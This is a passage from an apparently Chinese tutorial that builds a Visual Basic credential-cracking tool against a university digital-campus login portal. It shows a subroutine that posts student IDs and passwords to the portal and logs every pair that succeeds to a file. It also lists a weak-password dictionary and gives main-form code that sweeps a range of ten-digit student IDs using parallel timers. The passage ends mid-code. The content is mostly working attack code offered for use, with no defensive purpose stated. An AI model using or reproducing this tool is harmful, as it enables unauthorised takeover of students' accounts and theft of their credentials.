UserID = Ret(0) '第一个参数是用户名
PassWord = Ret(1) '第二个参数是密码
If UserID <> "" And PassWord <> "" Then
Dim AllCode As String
AllCode = GetCode("UTF-8",
"http://portal.XXX.edu.cn/amserver/LoginServletLogin", "userid=" & UserID &
"&password=" & PassWord)
'如果返回的html代码中有以下字样,表明用户名或密码错误。
If InStr(AllCode, "欢迎来到XXXX大学数字校园") Then
Else
'否则,破解成功,追加到temp.out文件中
Open App.Path & "\temp.out" For Append As #1
Print #1, UserID & vbTab & PassWord
Close #1
End If
End If
End Sub
到此,子程序编写完毕,我们生成一个可执行文件 Thread.exe,稍后在主程序中它将
会被调用。
主程序编码
主程序窗体的基本布局如图2 所示:

两个文本框控件用于填入起止的学号范围,分别是 TxtUserID1 和 TxtUserID2。一个
LstPass 用于从password.dic文件中载入弱口令列表。一个Timer数组用于延迟破解操作,
一共有 5 个计时器,名称都为TimerRun,索引从0 - 4。还有一个单独的计时器TimerResult,
用于显示破解的结果到文本框TxtResult中。按钮CmdStart可以启动破解过程。
密码字典 password.dic中的内容如下:
000000
123456
654321
666666
12345
54321
aaaaaa
abc123
abcd
abcd1234
abcdef
5201314
在窗体中写入代码:
Option Explicit
'学号
Dim StuNo As Long
'保存当前破解的密码索引值
Dim CurPos As Integer
Private Sub CmdStart_Click()
'过滤空格
TxtUserID1 = Trim(TxtUserID1)
TxtUserId2 = Trim(TxtUserId2)
'用户名必须为数字
If (Not IsNumeric(TxtUserID1.Text)) Or (Not IsNumeric(TxtUserId2.Text))
Then
MsgBox "兄弟,学号是数字。。。", vbInformation, Me.Caption
Exit Sub
End If
'开始的学号必须小于结束的学号
If TxtUserID1 > TxtUserId2 Then
MsgBox "兄弟,你咋开始的学号都比结束的大了?", vbInformation,
Me.Caption
Exit Sub
End If
'学号必须为十位数
If Len(TxtUserID1) <> 10 Or Len(TxtUserId2) <> 10 Then
MsgBox "兄弟,我记得学号现在好像是十位数,对不?", vbInformation,
Me.Caption
Exit Sub
End If
StuNo = TxtUserID1.Text
CurPos = 0 '密码索引置0
'删除临时文件
If Dir(App.Path & "\temp.out") <> "" Then
Kill App.Path & "\temp.out"
End If
CmdStart.Enabled = False '按钮不可用
TxtResult.Text = "" '清空上次破解的结果
'启动计时器
TimerRun(0).Enabled = True
TimerRun(1).Enabled = True |